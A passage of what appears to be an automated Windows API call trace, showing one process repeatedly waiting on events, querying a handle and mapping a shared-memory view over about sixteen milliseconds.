lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.883] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.884] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.884] ResetEvent (hEvent=0x110) returned 1 [0071.884] SetEvent (hEvent=0x114) returned 1 [0071.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.884] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.884] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.884] ResetEvent (hEvent=0x110) returned 1 [0071.884] SetEvent (hEvent=0x114) returned 1 [0071.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.884] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.884] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.884] ResetEvent (hEvent=0x110) returned 1 [0071.884] SetEvent (hEvent=0x114) returned 1 [0071.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.885] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.885] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.885] ResetEvent (hEvent=0x110) returned 1 [0071.885] SetEvent (hEvent=0x114) returned 1 [0071.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.885] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.885] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.885] ResetEvent (hEvent=0x110) returned 1 [0071.885] SetEvent (hEvent=0x114) returned 1 [0071.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.885] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.885] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.885] ResetEvent (hEvent=0x110) returned 1 [0071.886] SetEvent (hEvent=0x114) returned 1 [0071.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.886] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.886] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.886] ResetEvent (hEvent=0x110) returned 1 [0071.886] SetEvent (hEvent=0x114) returned 1 [0071.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.886] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.886] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.886] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.886] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.886] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.886] ResetEvent (hEvent=0x110) returned 1 [0071.886] SetEvent (hEvent=0x114) returned 1 [0071.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.887] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.887] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.887] ResetEvent (hEvent=0x110) returned 1 [0071.887] SetEvent (hEvent=0x114) returned 1 [0071.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.887] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.887] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.887] ResetEvent (hEvent=0x110) returned 1 [0071.887] SetEvent (hEvent=0x114) returned 1 [0071.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.887] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.887] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.888] ResetEvent (hEvent=0x110) returned 1 [0071.888] SetEvent (hEvent=0x114) returned 1 [0071.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.888] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.888] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.888] ResetEvent (hEvent=0x110) returned 1 [0071.888] SetEvent (hEvent=0x114) returned 1 [0071.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.888] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.888] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.888] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.888] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.888] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.888] ResetEvent (hEvent=0x110) returned 1 [0071.888] SetEvent (hEvent=0x114) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.889] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.889] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.889] ResetEvent (hEvent=0x110) returned 1 [0071.889] SetEvent (hEvent=0x114) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.889] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.889] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.889] ResetEvent (hEvent=0x110) returned 1 [0071.889] SetEvent (hEvent=0x114) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.889] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.890] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.890] ResetEvent (hEvent=0x110) returned 1 [0071.890] SetEvent (hEvent=0x114) returned 1 [0071.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.890] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.890] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.890] ResetEvent (hEvent=0x110) returned 1 [0071.890] SetEvent (hEvent=0x114) returned 1 [0071.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.890] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.890] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.890] ResetEvent (hEvent=0x110) returned 1 [0071.891] SetEvent (hEvent=0x114) returned 1 [0071.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.891] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.891] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.891] ResetEvent (hEvent=0x110) returned 1 [0071.891] SetEvent (hEvent=0x114) returned 1 [0071.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.891] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.891] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.891] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.891] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.891] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.891] ResetEvent (hEvent=0x110) returned 1 [0071.891] SetEvent (hEvent=0x114) returned 1 [0071.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.892] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.892] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.892] ResetEvent (hEvent=0x110) returned 1 [0071.892] SetEvent (hEvent=0x114) returned 1 [0071.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.892] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.892] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.892] ResetEvent (hEvent=0x110) returned 1 [0071.892] SetEvent (hEvent=0x114) returned 1 [0071.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.892] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.893] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.893] ResetEvent (hEvent=0x110) returned 1 [0071.893] SetEvent (hEvent=0x114) returned 1 [0071.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.893] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.893] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.893] ResetEvent (hEvent=0x110) returned 1 [0071.893] SetEvent (hEvent=0x114) returned 1 [0071.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.893] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.893] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.893] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.893] ResetEvent (hEvent=0x110) returned 1 [0071.894] SetEvent (hEvent=0x114) returned 1 [0071.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.894] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.894] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.894] ResetEvent (hEvent=0x110) returned 1 [0071.894] SetEvent (hEvent=0x114) returned 1 [0071.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.894] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.894] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.894] ResetEvent (hEvent=0x110) returned 1 [0071.894] SetEvent (hEvent=0x114) returned 1 [0071.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.895] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.895] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.895] ResetEvent (hEvent=0x110) returned 1 [0071.895] SetEvent (hEvent=0x114) returned 1 [0071.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.895] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.895] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.895] ResetEvent (hEvent=0x110) returned 1 [0071.895] SetEvent (hEvent=0x114) returned 1 [0071.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.895] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.895] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.895] ResetEvent (hEvent=0x110) returned 1 [0071.896] SetEvent (hEvent=0x114) returned 1 [0071.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.896] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.896] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.896] ResetEvent (hEvent=0x110) returned 1 [0071.896] SetEvent (hEvent=0x114) returned 1 [0071.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.896] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.896] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.896] ResetEvent (hEvent=0x110) returned 1 [0071.896] SetEvent (hEvent=0x114) returned 1 [0071.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.896] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.897] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.897] ResetEvent (hEvent=0x110) returned 1 [0071.897] SetEvent (hEvent=0x114) returned 1 [0071.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.897] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.897] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.897] ResetEvent (hEvent=0x110) returned 1 [0071.897] SetEvent (hEvent=0x114) returned 1 [0071.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.897] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.897] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.897] ResetEvent (hEvent=0x110) returned 1 [0071.897] SetEvent (hEvent=0x114) returned 1 [0071.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.898] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.898] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.898] ResetEvent (hEvent=0x110) returned 1 [0071.898] SetEvent (hEvent=0x114) returned 1 [0071.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.898] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.898] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.898] ResetEvent (hEvent=0x110) returned 1 [0071.898] SetEvent (hEvent=0x114) returned 1 [0071.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.898] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.898] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.899] ResetEvent (hEvent=0x110) returned 1 [0071.899] SetEvent (hEvent=0x114) returned 1 [0071.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.899] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.899] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.899] ResetEvent (hEvent=0x110) returned 1 [0071.899] SetEvent (hEvent=0x114) returned 1 [0071.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 